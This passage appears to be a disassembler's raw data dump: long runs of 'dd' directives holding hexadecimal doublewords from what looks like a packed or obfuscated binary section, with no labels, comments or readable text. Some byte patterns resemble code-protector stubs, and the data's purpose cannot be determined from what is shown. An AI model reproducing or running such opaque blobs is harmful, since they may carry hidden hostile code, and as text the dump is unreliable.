		dd 0FEC4705Fh, 2E477F74h, 9654C281h, 0E4B8081Fh, 81449693h
		dd 0FCEA5FEAh, 0CB8B665Ch, 858B1689h, 64831B1h,	0F903EE83h
		dd 0C18B664Eh, 0AE850F4Bh, 0B5FFFFFFh, 0ABE9EAh, 8D500000h
		dd 0B11C3F2Eh, 0ABDA5F72h, 0B395A7ACh, 0A1F44592h, 0DA00B395h
		dd 20A7ECABh, 6BB2915Dh, 2096B1F4h, 9B552075h, 0BCF26BB7h
		dd 0A19692A5h, 603A7594h, 329FB799h, 0E9B599BDh, 92A59CB2h
		dd 95ACA3F2h, 97B1EF76h, 0B4F94E00h, 5C009FA5h,	4AF07B6Bh
		dd 0D0008A92h, 0F545F352h, 79A3F653h, 0F144D6D9h, 0F445E3AFh
		dd 0D77D41h, 0BF9792B0h, 60FD756Bh, 0F996BFCFh,	20B293BCh
		dd 9B57207Dh, 9492ABF7h, 0E3B29EBDh, 0E0CE9DBCh, 728F899Bh
		dd 0A9FD8F9Dh, 0F66DB4EEh, 93BCE1B6h, 97B3ED72h, 0A601E800h
		dd 323D94E7h, 35DD2B83h, 1287E907h, 86680000h, 0E9064DD3h
		dd 0FFFAACF1h, 4DD4A268h, 0ACE7E906h, 6968FFFAh, 0E9064DD5h
		dd 0FFFAACDDh, 4DD6E868h, 0ACD3E906h, 7268FFFAh, 0E9064DD7h
		dd 0FFFAACC9h, 4DD82868h, 0ACBFE906h, 0F768FFFAh, 0E9064DD8h
		dd 0FFFAACB5h, 4DD99F68h, 0ACABE906h, 4168FFFAh, 0E9064DDAh
		dd 0FFFAACA1h, 4DDBA068h, 0AC97E906h, 7B68FFFAh, 0E9064DDCh
		dd 0FFFAAC8Dh, 4DDDDC68h, 0AC83E906h, 3A68FFFAh, 0E9064DDFh
		dd 0FFFAAC79h, 4DE0E768h, 0AC6FE906h, 0C368FFFAh, 0E9064DE1h
		dd 0FFFAAC65h, 7414EB8Ah, 0FD9F9A18h, 61031EA1h, 0D4B48D35h
		dd 5F3D3CB8h, 0DB675F34h, 58EEBAC6h, 0F6732F4Dh, 7E0591F3h
		dd 334A197Bh, 72051D5Bh, 8015AB7Ch, 0D441A00Bh,	0A8383FA8h
		dd 2A50D0Ch, 4DE8FE85h,	0C56F3D4Ah, 75F2B3C0h, 32CC8CE2h
		dd 9F187624h, 9013611Eh, 9CA7F795h, 324346EDh, 475AE775h
		dd 0CE7F4FC6h, 1A7C6C45h, 0CA760A9Dh, 51F986F7h, 44D09422h
		dd 0CF7B7C6Ch, 0CF3410h, 0C55CDBA9h, 6C4CAFE9h,	0DC723D7Ch
		dd 5070h, 0ECC25900h, 7C6C4CACh, 53156938h, 617C6C4Ch
		dd 96319906h, 49DC7EB9h, 6C406475h, 86F7B07Ch, 6C3F6C28h
		dd 0B46BE77Ch, 522FD769h, 8F273AC6h, 0A90304FFh, 6C0097DBh
		dd 0F1BECFDAh, 6C33E7A1h, 0F98AF57Ch, 0BB3BCEFDh, 0B9A50D3Bh
		dd 0DBh, 40EC80E2h, 0DB733041h,	0C0B1B43Fh, 443534B0h
		dd 1D888F34h, 50F6E083h, 0E687F475h, 0D2512350h, 40DCB5D7h
		dd 908B4A2h, 0E9B42288h, 0D8762436h, 49782BA3h,	30861A46h
		dd 51C4C360h, 0B0A4E4BAh, 83307624h, 0F7525026h, 0E248C97Dh
		dd 2A29CAC6h, 10B64A5Dh, 0F6C19D35h, 60EDC154h,	617C6C76h
		dd 0AD8C728h, 98199675h, 4AFB7AEFh, 0C9ABD4E4h,	0A134D6E1h
		dd 0C46A670Fh, 9A26BA51h, 2189F687h, 0B77355B3h, 51C4A382h
		dd 523E33BFh, 18A7BA46h, 12A1B71Dh, 0E4C6742Bh,	300000Fh
		dd 910D6F62h, 1E8A1613h, 0A2FE9A89h, 316D0F02h,	0CFD4B4B5h
		dd 5F52DEE6h, 0C2DF613Dh, 484FEAA6h, 0F0F77C28h, 0D2ACC390h
		dd 7C720596h, 850B9C22h, 0C98F8F9h, 5BF56067h, 0CBA8D9C4h
		dd 0B9BC4763h, 7549DC7Eh, 7C6C4064h, 3D7703B0h,	230BA1BDh
		dd 433031B1h, 6D4A522h,	7C6CBF3Eh, 0BCCDC86Ah, 22B447ECh
		dd 0BB2C5607h, 0C14E3FBCh, 74995E0Dh, 0F82305FAh, 22DBA9D3h
		dd 0D8h, 0FBFE8579h, 7F72FE8Ah,	0ABE0770Eh, 0BE942860h
		dd 18500E83h, 0A4762447h, 186573DBh, 0AC76244Bh, 34600007h
		dd 641D888Fh, 6655C91Fh, 0A3D0662Ah, 0C8A63DD4h, 76249F90h
		dd 4503535Ch, 937624A0h, 0D5EEBE14h, 0A00B4D21h, 0DED97624h
		dd 65E8C651h, 817C6CC9h, 710B9AE6h, 0A683F4F5h,	83ACD2AAh
		dd 0FDC6963Ch, 8C34C85Fh, 7053C4B5h, 258B8454h,	9F76DC5Dh
		dd 0B745D8CFh, 0B44BE582h, 73DBD8A9h, 13AD3847h, 8E039297h
		dd 0BE772541h, 18A80E15h, 5EE1E08Ch, 12A16EBDh,	0C89604FBh
		dd 2700000Eh, 0B5E1839Eh, 326E0A0Fh, 0C6D2BEADh, 5541233Eh
		dd 0ABC8A8A9h, 7376F2CAh, 0E6E38511h, 6C630E9Ah, 1413900Ch
		dd 0F6C8DF74h, 7C7206B2h, 85FFA83Eh, 0C98F8F9h,	63006067h
		dd 8AFBFE85h, 127E75FEh, 73E2E186h, 0F85E5BD9h,	0FB0AA9FBh
		dd 7076FE42h, 50086697h, 9C762433h, 77159213h, 7408D547h
		dd 815DF5CCh, 2D8114B6h, 7C6C4260h, 8819FB84h, 0E34B4EF4h
		dd 0F672B0F5h, 0C1A8E173h, 7BD3F798h, 0D6E1BD15h, 44CDA134h
		dd 0E06E2E56h, 4D7B3D91h, 0AA96DAEh, 43317E0Fh,	86D6A724h
		dd 36881FBDh, 73F9CCCEh, 760A9D1Ah, 0FBAAF6CDh,	5A011E86h
		dd 9C32B2B2h, 0C66377FCh, 66FB42C3h, 6020E20Bh,	0E013FAFh
		dd 45EC0000h, 0F0722E4Ah, 64FB97F5h, 0E78F1B79h, 96128EEAh
		dd 85D2F193h, 503031BDh, 0C5A7A244h, 4F2D2CC9h,	0B7D5D053h
		dd 7335891Ch, 417C7207h, 0FE8524FFh, 80376CFBh,	8FB477h
		dd 92FAF951h, 0DD74E3A9h, 0CA306846h, 0E5BC7624h, 24C9CF89h
		dd 15921D76h, 51F9FC87h, 6CE71E03h, 4F2D4A7Ch, 1FB6546Fh
		dd 0B4D07E4Fh, 0E6B84F82h, 7624CBA2h, 0C9E9412Eh, 4301D1AEh
		dd 0E7624CCh, 89FC1287h, 17BFE138h, 0AFD87608h,	0B51DD0CBh
		dd 0BB60443Bh, 61DDE1C9h, 61h, 80FB448h, 0D3AB3A7Bh, 7624FD95h
		dd 0D5EE4423h, 49DC7EB9h, 6C81AF75h, 0EB7A057Ch, 0B7D5D451h
		dd 6C805D19h, 0A7F78E7Ch, 7C6C80E1h, 951080EFh,	0D75C3C92h
		dd 17AE45D0h, 6C810147h, 0F2A0CF7Ch, 7C6C80B6h,	3E4F42E2h
		dd 0CE640371h, 575BE6B2h, 48DFA8ADh, 0AB516C8Eh, 0F5651293h
		dd 0D0Bh, 0DC7EB952h, 4977549h,	94ED7C72h, 6675521Fh, 0F0AEC21Eh
		dd 7C7208B8h, 64425003h, 0E3913E4Fh, 0FC900784h, 84107077h
		dd 0D890EEFFh, 0E47C718Ch, 62FF26Fh, 5EDF050Dh,	0AAA46D1h
		dd 91394637h, 0CB91AAE2h, 502EC55Ch, 7C71C618h,	0D4A5BC44h
		dd 74DAA5D7h, 0BF96E766h, 91046382h, 137174FFh,	88F9FC87h
		dd 0C651FBC4h, 15DDC6CDh, 9C1D6A6Fh, 4A6D7AEBh,	0B85D31E4h
		dd 0C7C6C8Dh, 0D62BDC63h, 920D0C5Bh, 0C82E4h, 0CDC46D00h
		dd 7471F3AFh, 0F8E77814h, 6D640C98h, 1217930Fh,	3C046D76h
		dd 0C7D3B1B0h, 48442421h, 0D2CEAAADh, 9D365251h, 8F4B40Ah
		dd 7EC07C72h, 32FD47A5h, 922E7624h, 0F3B50912h
		dd 0C1762432h, 2B4839A6h, 5285265Eh, 71D95607h,	6DF8A29Dh
		dd 0FD5550D3h, 42EF8118h, 7CE9E74Fh, 0E87C7245h, 0EF81188Fh
		dd 0D4D15345h, 0F159C6A7h, 0E5878221h, 7E0F0AA9h, 0F067251Eh
		dd 0B9E1B39Eh, 0CD703F82h, 129E6230h, 0F8198906h, 0F700000Bh
		dd 8511734Eh, 29EFAFFh,	96026E7Dh, 257113EEh, 0DBF89899h
		dd 2326C2FAh, 0D6B35541h, 5C53DECAh, 0C4C3603Ch, 0C6982FA4h
		dd 7C720982h, 852FF84Eh, 0D791EDFEh, 0E5762432h, 1C6C1D9Ah
		dd 6B059097h, 0C781DDCEh, 15762432h, 3645ED6Ah,	0A73D7621h
		dd 87C0CD4Ch, 4B30AA00h, 0E102A65Dh, 6637CDDh, 0BB550000h
		dd 8AB3924h, 0B902A50Dh, 7549DC7Eh, 7C72040Dh, 37C95C5Bh
		dd 0BAEB898Ch, 0F5828126h, 0F1721EB4h, 6F3585F2h, 997C7202h
		dd 0D269FC9Eh, 325633Bh, 0F4B37C72h, 2011705Eh,	0C3B882BAh
		dd 95621E56h, 0F3FF5743h, 9BFA09B4h, 53CC129Eh,	0B42A3h
		dd 0D04AD00h, 0B4B1336Fh, 3827B8D4h, 0ADA44C58h, 5257D3CFh
		dd 7C442D36h, 793F1F0h,	88046461h, 128EEAEDh, 5DF69291h
		dd 0B34744Ah, 3E807C72h, 0FBFE8565h, 0A64FB8Ah,	7624334Eh
		dd 0E5B51D9Ah, 0A8B7485Eh, 0B9355A2Bh, 1239E2C2h, 0BEE3DDE1h
		dd 38000005h, 2432FD47h, 6E2C1776h, 0DADF65F7h,	0AF66CCADh
		dd 7203B3DFh, 0DE613D7Ch, 3E7A54C3h, 8A7C7204h,	67F96CEDh
		dd 554ED9DCh, 0EE70AD44h, 4858FE39h, 263BC759h,	16822849h
		dd 6A2E806Dh, 767C7190h, 0ACFB8809h, 90FFB915h,	0B1CD7C71h
		dd 27443534h, 83BC10A6h, 0C2B74ED9h, 5A1AD3DEh,	96C46A97h
		dd 82B94FABh, 75338B22h, 4376294Eh, 85E28E24h, 9ED3EF3Ah
		dd 0D856C912h, 0A73h, 9CFCF372h, 5676200h, 89EBF689h, 0FC9C951Dh
		dd 670504A0h, 0A34F775Ch, 30D6C2AEh, 0DE5B3755h, 46EDB9DBh
		dd 1BB22143h, 720B0543h, 9A0DD37Ch, 8AFBFE85h, 4E0A64FBh
		dd 7F762433h, 2432692Fh, 78087776h, 78FB973Fh, 6D0D4789h
		dd 8A0BF2B9h, 0A51AD4FDh, 465DE67Ah, 0B727DCF0h, 0DEFDDDE1h
		dd 26000004h, 49DC7EB9h, 72046275h, 5EC9B67Ch, 462221C2h
		dd 26B9A94Ah, 0AC2D4A3Bh, 4450FDFh, 744F7C72h, 1AAD3FD6h
		dd 57EEA70Fh, 3AAEEC0h,	49367C72h, 208EF3E1h, 0DDDA82BAh
		dd 9E23BD62h, 66148B12h, 9CBh, 0E4849B1Ah, 6D0F0AA8h, 0D1B3AE31h
		dd 44243DC5h, 0CFADAC48h, 4BF7CFA4h, 0E87E2A76h, 66039FFDh
		dd 0EE950163h, 0C3DA89EBh, 720BADEBh, 0E2A53B7Ch, 8AFBFE85h
		dd 17E75FEh, 0BFE95608h, 0DDE11244h, 4549Eh, 2470500h
		dd 12762433h, 9AF46329h, 7C7203EAh, 8F26B1FEh, 7170FDh
		dd 0A7189197h, 0AE2F6C9Dh, 0ECEB8808h, 9493108Ch, 54146A01h
		dd 607C715Dh, 4C00AF07h, 0A73EA973h, 715D91D7h,	0FA505F7Ch
		dd 4CE8841Bh, 5154DF4Dh, 0EDEB4320h, 82B9734Ch,	75A01F98h
		dd 53129EB2h, 9292EDCh,	3DC40000h, 0A84A4622h, 4CD3CFADh
		dd 0DF673351h, 4EEAA6C2h, 0AD0A294Bh, 88E8E995h, 0FD9F8A1Ch
		dd 670504A1h, 0EF8D882Bh, 4B0D6174h, 997C720Dh,	0FE855CC7h
		dd 0F9D56CFBh, 762432BFh, 334041EDh, 628D0672h,	0C5A961Ch
		dd 3645ED6Ah, 0BC2ED95Ah, 8895F87Fh, 0C1D9D657h, 4BE830EFh
		dd 978C2C4Ch, 4DDE101h,	0C0F8D66Dh, 0C762435h, 35753363h
		dd 24437624h, 780908B4h, 3F4B933Bh, 0D0000001h,	4047EC80h
		dd 3CDC7233h, 0B1C3B0B7h, 0CA03732h, 67E89766h,	7728750Ch
		dd 514060F6h, 6FBB4958h, 6D1022E4h, 170A7FE7h, 2625BAB4h
		dd 3AB2849h, 5BCA90ABh,	6D29DA03h, 6DB6EB7Ch, 7D5F8B7Ah
		dd 0CEA9C961h, 4C6321B1h, 7CEE7C6Ch, 862998Fh, 2CB8DBA9h
		dd 11000000h, 8CFDE87Fh, 0B93C47EFh, 7549DC7Eh,	7C6C4064h
		dd 2886F7B0h, 7C6C3F6Ch, 90B46BE7h, 0DBA9036Bh,	0D8DF64F8h
		dd 0A9EA72h, 85310000h,	376CFBFEh, 49C695B2h, 84339BA6h
		dd 384948F4h, 0BFCCCB68h, 214346EDh, 254FF6B7h,	92911276h
		dd 0FF9DA6F6h, 0AE1F1668h, 0F5AE7C6Fh, 1EBD8977h, 0B232AEE3h
		dd 1C9B17BFh, 764BF789h, 5FE17B2Ah, 0DE743542h,	0A0B632h
		dd 6B377401h, 726D727Dh, 0C6814AF5h, 0F8B70C59h, 7CA4Ah
		dd 859C2500h, 0C09ABE7h, 0B0AF306Ch, 253CC4D0h,	0AAAF4B47h
		dd 0F4CCA5CEh, 7F2B4948h, 9CFCE9h, 8A066265h, 0D58EEAE9h
		dd 0DACECC2h, 0A6387C72h, 0F8F985FDh, 0AF56346Dh, 80E25662h
		dd 24E86A2Eh, 88097676h, 690A8622h, 85650E6Ah, 0D06CFBFEh
		dd 0FAF95150h, 620E05AEh, 23CD4h, 7EB93300h, 147549DCh
		dd 607C6C5Ah, 76FC9007h, 45C2C560h, 0C6D96434h,	74C2F159h
		dd 7C6C5930h, 0D4F0AF1Bh, 0DBA9282Fh, 1FBF5h, 4472E00h
		dd 29762433h, 9916EB97h, 0E1DAB218h, 0A8D2AC3Bh, 307C7203h
		dd 0A74CE077h, 2FD4C0A0h, 574C5B28h, 12F42EC0h,	0AEEAC49Dh
		dd 3A7C722Dh, 8656FC7Dh, 36881FBDh, 82BA4313h, 0D627C3DFh
		dd 3B7C7538h, 8F0C8DEFh, 9E46D130h, 8A38F712h, 6EFh, 187877FEh
		dd 81E3E68Ch, 0F5977215h, 78181999h, 0E381802Ch, 2FCBF3C0h
		dd 0CC524E2Ah, 5AE7B3D1h, 0CA692547h, 9F36ADCFh, 720E89CFh
		dd 16F1577Ch, 8AFBFE85h, 17E75FEh, 0A540DC79h, 0ED520CA2h
		dd 0DBB9BC47h, 0E10EC833h, 15A12DDh, 0E47B0000h, 243ECE8Ah
		dd 359D1A76h, 0FBFE8592h, 5453D06Ch, 0A3F1FEh, 0A3FB9205h
		dd 762432E5h, 821EB4F3h, 0DC4B112Ah, 6C455B82h,	8E316A7Ch
		dd 1AB8AAA5h, 7A16A208h, 0FE8AFBFEh, 70F17E75h,	38704EE5h
		dd 847C6CB0h, 962453FBh, 7C6CAFCEh, 0C7D78FAh, 8FFCEB7Ch
		dd 0E039E6D4h, 41EC530Fh, 700104AFh, 18039B33h,	0C2DBA96Fh
		dd 52h,	938E11ABh, 0BC1285E2h, 7C6CA7FCh, 7C07AFC8h, 4D44EC80h
		dd 41ED7F3Ch, 2912EA40h, 0F9AF463h, 0DB7C6C40h,	0DCB249DCh
		dd 7C6C3F9Ch, 0C8E74F28h, 6C403A7Ah, 0CFC26E7Ch, 525CE2BEh
		dd 2253D0D7h, 479C437Fh, 654338AAh, 0DBA903BEh,	8D64h
		dd 0FE85BF00h, 72FE8AFBh, 0F1720E7Fh, 1C97BD06h, 8FEC9D94h
		dd 0CEC7FEFAh, 0A3D0D752h, 643445C2h, 2EB8D8DFh, 7625547Fh
		dd 7376F28Eh, 4AF76502h, 0B033DF77h, 0BC87D7B5h, 3E37871Eh
		dd 0AA7C6F56h, 3AC65ACDh, 0AD494527h, 0CC9611ACh, 0EFA00C59h
		dd 58E7Fh, 0D9D85900h, 4045EFBBh, 0F4D37420h, 7978F894h
		dd 0EEE38F1Bh, 28106182h, 0B3EF8D8Ch, 4450302Dh, 0CEDAA6B9h
		dd 91422E25h, 0FE8A0FEh, 52F47C72h, 0F8F985B1h,	60670C98h
		dd 0FE856300h, 75FE8AFBh, 1664127Eh, 0E3000000h, 8AFBFE85h
		dd 17E75FEh, 618B702Ah,	0BA5C7C2h, 43h,	0FBFE8588h, 0BB67376Ch
		dd 0FB72E98Dh, 0A6B4928Eh, 1EB4D434h, 0F684C191h, 0EBA77624h
		dd 4047EC34h, 28603ED5h, 0B47624F7h, 46025CCBh,	927624F7h
		dd 742DBD15h, 0F6C781DDh, 48F57624h, 97B3849h, 80BFC86Eh
		dd 0CA5C5AECh, 18F85EDFh, 0ECF98F9Bh, 0E0911E9Fh, 5EC993ACh
		dd 32B1F7C7h, 703F7624h, 48642C07h, 7BD37D11h, 1EE8C49Ah
		dd 733C7C72h, 0BFAB48E4h, 0DFBD3A37h, 542520C3h, 1204AF41h
		dd 84E59291h, 0E4DFAF07h, 19A59335h, 8DEA9B18h,	48C5990Ch
		dd 7982BFCDh, 2B585DE7h, 0ABD4E44Ah, 0B00EA53Ch, 76244CF8h
		dd 522CBBC4h, 76244D16h, 0AD6DC5A2h, 95941006h,	4CECAC02h
		dd 0BFF87624h, 0BD46523Eh, 27BEC9A6h, 9916F395h, 4D0E4A18h
		dd 0DDDA7624h, 0FC9E9975h, 94353069h, 954A4643h, 196617F2h
		dd 0B633298h, 7C6CB1EAh
		dd 3A71A6DBh, 1301D187h, 0CD703FBBh, 0C5B59E0h,	30A959D6h
		dd 0BF000004h, 4D593B36h, 0CAC6A2A7h, 5E4A5635h, 0EDB9DBD6h
		dd 3204041h, 0EBEE8AB2h, 9E8B1D89h, 41BA6F2h, 8C8B2864h
		dd 0E6077ECh, 7C72124Ah, 85573096h, 899FBFEh, 5EE5C974h
		dd 0CCADDA5Bh, 1909AA66h, 891C9D9Ch, 6774AF7h, 0D6A2D179h
		dd 4159562Dh, 0CB68B06Fh, 170CACCCh, 0CDDDE10Eh, 3Eh, 0CF7EB956h
		dd 38AF2C39h, 6C819E66h, 0DA4D2A7Ch, 0C4A4BB46h, 6C814C0Ah
		dd 0F0F77C7Ch, 0B8F0CE65h, 47C6C80h, 4ECFCA68h,	21CCD8E8h
		dd 4E20B72Eh, 7C6C810Ah, 7201A9D6h, 392C4h, 0EC804300h
		dd 2AE64C5Bh, 0AAFD8A89h, 0FA636A16h, 8A483E29h, 0E7B31B98h
		dd 533B595Ch, 5B33A268h, 7C6C53B2h, 6D384936h, 1662E234h
		dd 0FA70B25h, 6CC00341h, 2F9C4E7Ch, 0A99F02F9h,	4CD8DBh
		dd 0F8B10000h, 78568880h, 7C6C4240h, 6296E38Ch,	4AF662A4h
		dd 0D1790677h, 0DC7EB9B6h, 951EB249h, 2A80E19Eh, 6C401DACh
		dd 37BDC97Ch, 76C4B532h, 7C6C402Eh, 2BF2A925h, 0CE31291h
		dd 8CC6281Ch, 9D319906h, 0DBA90566h, 0C4BCh, 0FE85E700h
		dd 53D06CFBh, 0A3F1FE54h, 27750207h, 98E8999Ch,	0E27C1C1Bh
		dd 7624369Bh, 1681842Fh, 50E6E57Ah, 0D8DF6430h,	0A340DCABh
		dd 0FA43BE50h, 42C3CB01h, 0EDE7435h, 0AE009735h, 7C6D2FDFh
		dd 0DFD252EEh, 5C3C7B77h, 0EE8A437Ch, 9C1D9AEBh, 0B9BAB509h
		dd 51EB82B7h, 2DA6D7D2h, 13ADF687h, 0FE54D5D3h,	8B22B5F2h
		dd 26F77533h, 8E244376h, 0C8C97507h, 7170FCA8h,	0A12AE5CEh
		dd 0BE2CE312h, 283h, 0ACCCC362h, 157772F0h, 99FBE679h
		dd 0C6C650Dh, 77151490h, 0B33F076Ch, 20C6D2BEh,	0AE4B4725h
		dd 56DDC9ABh, 0BA23153h, 7212F5B3h, 0AA7DC37Ch,	98F8F985h
		dd 0F673670Ch, 0C3405FE0h, 1474F5B2h, 0CA7EB98Fh, 2432B4F4h
		dd 0E6670076h, 3F8A1F6Fh, 29567C6Ch, 0D8B64D58h, 7C6C3FA0h
		dd 0EDEB432Ch, 7C6C3FA7h, 5D4B30A2h, 0DBA903A6h, 0A47Ch
		dd 0FE85A700h, 72FE8AFBh, 0EDB00E7Fh, 0D9762436h, 0ACBB4C5Ah
		dd 0D2514D2Fh, 38CFA6D7h, 0C3E9B543h, 5D0DC2BBh, 7625081Bh
		dd 0D152CEA9h, 6EC4A5D2h, 70E7A59Eh, 2C6C42D9h,	0B8762508h
		dd 347957FFh, 707C6D38h, 3A055537h, 57A90590h, 9582B7CEh
		dd 45E17BEAh, 0CC682444h, 0B07A8439h, 840578C3h, 0A1D3A039h
		dd 69199612h, 1A7h, 0C0A0BF46h,	492B2ED4h, 0BDDFCA5Dh
		dd 204041E1h, 0ABC9C874h, 97132B88h, 49AF692h, 822F7B19h
		dd 32B1ED8Fh, 0E7FE5537h, 7213D197h, 0DE491F7Ch, 98F8F985h
		dd 60670Ch, 0FBFE8563h,	0C461FB8Ah, 0C803B4C5h,	0F549EC03h
		dd 0F98E1A9Bh, 2FD444EAh, 91D7A73Eh, 5F7624D5h,	0D6460250h
		dd 15927624h, 0C46F0194h, 61F3B0C1h, 5D6DC5C4h,	0D6A7A241h
		dd 881FBD86h, 6CFE1736h, 0A7D4D37Ch, 5B2829D5h,	0DDAAB749h
		dd 0AE672496h, 8C540BC7h, 2880E0E7h, 84DA4D0Fh,	82B4C315h
		dd 3B492641h, 932ABDB8h, 24C07D3Bh, 862C4B76h, 5308C2E9h
		dd 0B6348AB5h, 57B8C2B8h, 421C8B08h, 7C6C7857h,	0B9761083h
		dd 0A9C6C365h, 0B6A9BFC8h, 0C2DEBA3Bh, 47552221h, 9930A7BAh
		dd 6D1383C5h, 9EDAB47Ch, 2A7C6D13h, 0DA703F4Dh,	2F22CFDDh
		dd 0A0A7425Eh, 6DD2E8D3h, 5A01B1D4h, 51EB1E93h,	4C0E7C09h
		dd 8A892AE6h, 17B58EEEh, 0B157E980h, 70C6A7D4h,	0B4E4CB62h
		dd 5901F82h, 0BCCDC86Bh, 4D5857FFh, 423336B3h, 660D8D25h
		dd 0C7731263h, 9D3EC18h, 0D275079Eh, 120D86F7h,	0C5F6266Bh
		dd 0F3E149F6h, 7C6D2D5Ah, 4056D2AEh, 0A425A2A5h, 1CBF4C4h
		dd 0FDEC3896h, 7F3882BAh, 6F1720Eh, 61D1C2A3h, 86E263A6h
		dd 1D6A690Ah, 0DD9BF38Ah, 0EB762A23h, 9C1D089Fh, 5D1E9836h
		dd 5F1377A2h, 0BCBB38E0h, 2423C0DCh, 1AC4057h, 48E8A80Eh
		dd 0ADC6C55Ah, 8ED46AA0h, 0A0D15ECBh, 22F6B525h, 0AAE68281h
		dd 0CD7D0A09h, 3, 85DA414Ah, 494E5FCh, 790B787Fh, 0FC8CFDFCh
		dd 720E7F6Ah, 0F682F3F6h, 6A06774Ah, 0EA86F7CAh, 6B397655h
		dd 0B9BFCCC9h, 5E08950h, 4, 8704E883h, 895C2404h, 0C0682434h
		dd 89000072h, 0F668241Ch, 8900003Ch, 0BE562414h, 0E03601Ah
		dd 1A1B44BBh, 1BEB8163h, 294EC8E9h, 8B545EF3h, 0C4832414h
		dd 4EC8304h, 8F241C89h,	34FF0842h, 0C4835A24h, 241C8B04h
		dd 81E28952h, 4C2h, 4C28100h, 87000000h, 0E95C2414h, 0FFFA9A7Dh
		dd 9A6AF3BEh, 2CD6ECF9h, 0E38FB8F3h, 0C503064Dh, 0D17FE0FFh
		dd 0E6B07795h, 64F2BFEh, 0B27449FDh, 8B9E24DFh,	52016499h
		dd 34A84A1Fh, 0BD8C62DFh, 2578204Ch, 3D9C05B6h,	8B0627ABh
		dd 0C74C46A6h, 6AF71D67h, 0CF716EA3h, 0D63A05D3h, 0B4136C83h
		dd 9D0F0D1Dh, 7F79390Ch, 5A5E3055h, 0C6550E7Dh,	0C9D10EB6h
		dd 0EAE65BDAh, 1B3057BFh, 539A7CAEh, 8EB7ABDh, 6F818058h
		dd 2400000h, 0C42E9h, 0E63C6800h, 3FE9064Dh, 68FFFB64h
		dd 64DE787h, 0FB6435E9h, 0E91D68FFh, 2BE9064Dh,	68FFFB64h
		dd 64DE9CDh, 0FB6421E9h, 0EA9268FFh, 17E9064Dh,	68FFFB64h
		dd 64DEC96h, 0FB640DE9h, 0ED2068FFh, 3E9064Dh, 68FFFB64h
		dd 64DEE5Bh, 0FB63F9E9h, 0EF5268FFh, 0EFE9064Dh, 0A5FFFB63h
		dd 20AE22E2h, 9630B878h, 1EB830ECh, 85034F89h, 1D88C004h
		dd 0EB317090h, 6DBDF9E7h, 0FA22636Dh, 76B2E8F6h, 9D4A627Ah
		dd 73D79BFCh, 77579819h, 0DFC1D511h, 8A4409D5h,	3A6E960Ch
		dd 0C6EEF0FEh, 9A7F7001h, 69CB9575h, 0C1758061h, 6DC83AADh
		dd 9B258F52h, 6DBD6ED5h, 9AFA73D2h, 85EF0B4Bh, 3E1F2682h
		dd 0DC26B2CAh, 0EDE97CCh, 3909230h, 463A9E38h, 0FD000000h
		dd 0ACB26590h, 4F4C04D1h, 434D61C3h, 0F4D6845Ch, 0AEBC2BC1h
		dd 0B8F5224h, 0BFE30B8Dh, 0B13F997Bh, 2DF9BBE5h, 3422FFA8h
		dd 2D6573D2h, 0CFE72363h, 0D2347B18h, 89CC9E73h, 0DBE785BBh
		dd 719E3882h, 116h, 0D5117704h,	6CB8F9E7h, 0C23A606Eh
		dd 0A37F39C7h, 57318BC1h, 5320A73Fh, 0B6759A7Fh, 19EDA114h
		dd 99D71377h, 9A008EC7h, 5AD125Eh, 6759A7Bh, 0E55D3327h
		dd 686D2C90h, 0F4E42066h, 0DBAB4EAh, 759AB66Ch,	0AD4AFD89h
		dd 48759AB6h, 224A14F6h, 0B21778C3h, 6B62020Fh,	93C7F2B3h
		dd 755A4CFBh, 30118F52h, 663A5223h, 48E143A2h, 27B935B8h
		dd 5999018Fh, 0AED95814h, 3465E28Ah, 11891C85h,	3879274Fh
		dd 0A879C8ECh, 0A2028EB2h, 668CAB0Eh, 3F0C2407h, 9876EB88h
		dd 0D2BC0E75h, 0FAA7219Bh, 0EB774322h, 21AF0225h, 9EC8Ch
		dd 98484B00h, 16D2B6D0h, 0AE7A3C5Ah, 25FFA422h,	0BE6E2BB5h
		dd 6E68732h, 8F09419Bh,	997DB07h, 7E18508Ch, 0DCECEC28h
		dd 996233B4h, 0FA8773D7h, 510A7735h, 8B2D47Ch, 0ED816353h
		dd 0B439FDA3h, 206628F8h, 4B01C3D8h, 0B0DE9771h, 0B59712EAh
		dd 0C7DDC3EBh, 464F4D03h, 0C7B93C9Eh, 3127612Fh, 9A25D9B6h
		dd 0C0A23C75h, 6590A88Dh, 3C2A9D31h, 998F5262h,	93FD89C7h
		dd 25873511h, 721AF7B0h, 7D5D73D2h, 544C5243h, 0B6B0D99Ch
		dd 0DD9E38C4h, 0A715F1B3h, 0EF795005h, 3C000000h, 0A81F1177h
		dd 759A7FCBh, 980E9C2Eh, 0E24C1E5Ch, 79A3EEECh,	7B268C73h
		dd 8D25759Ah, 9A7B3DDAh, 4F06D875h, 0E0A1594Fh,	7E165A24h
		dd 6B49410h, 0F7AD31A4h, 0A7E9BD33h, 11AB21FDh,	0F6AAD55Ch
		dd 14F4B0DEh, 52E487A6h, 3AA84736h
		dd 0C87F1558h, 8F5278DEh, 11E1E973h, 6C788830h,	7A73B5BCh
		dd 0B2E888B3h, 8E95E76h, 0ED73D243h, 6ADDF153h,	891CE2DEh
		dd 13E0673Fh, 0F67598E2h, 0FCF22E68h, 0EA600E2h, 97DB0180h
		dd 13E067FFh, 107598E2h, 98E2C657h, 13992375h, 0ED032BCAh
		dd 4721466Ch, 0DB01800Eh, 257C367Ah, 5D10DE02h,	8A1h, 6555B7F0h
		dd 0EFE3277Bh, 777BA7E1h, 0FEF23269h, 470BD1D0h, 0CCCD2D4Ah
		dd 4E365018h, 0F5B0DE92h, 7F25A32Fh, 0FF9737BBh, 0D798AB48h
		dd 0EA234E73h, 9ED20A77h, 466EAAF0h, 0CC814358h, 1177DF10h
		dd 0A3F9E7D5h, 7F8A6B67h, 48076458h, 0A002370Fh, 0E00820Ch
		dd 9AC1B859h, 21835D75h, 0C45C11ABh, 52DAFB03h,	0E760F88Fh
		dd 73D2CA16h, 6A6469F3h, 7D73A9ECh, 0CDCB8163h,	315F13D7h
		dd 0A8DA2C6Bh, 3F68416h, 0B5174581h, 9C4309EBh,	818A1E2h
		dd 3FBD792Fh, 46011791h, 0F494A1A9h, 5A10F24Ch,	9C4779C7h
		dd 4D4856CEh, 300EDE97h, 5E1B8061h, 173C9A1Dh, 0AE6A305Eh
		dd 3AFEA422h, 5722B392h, 55BADA9Ch, 3ED6AE60h, 94C6E889h
		dd 3AB30DF4h, 94C6914Dh, 92ACF8F4h, 676BAFF5h, 0E9E72379h
		dd 94C65C32h, 744A92F4h, 3DDA8D25h, 0D80B6B39h,	594F4F06h
		dd 0EDB3DD9Dh, 0B7C2A329h, 967CEB83h, 73F1A303h, 0F500E1E9h
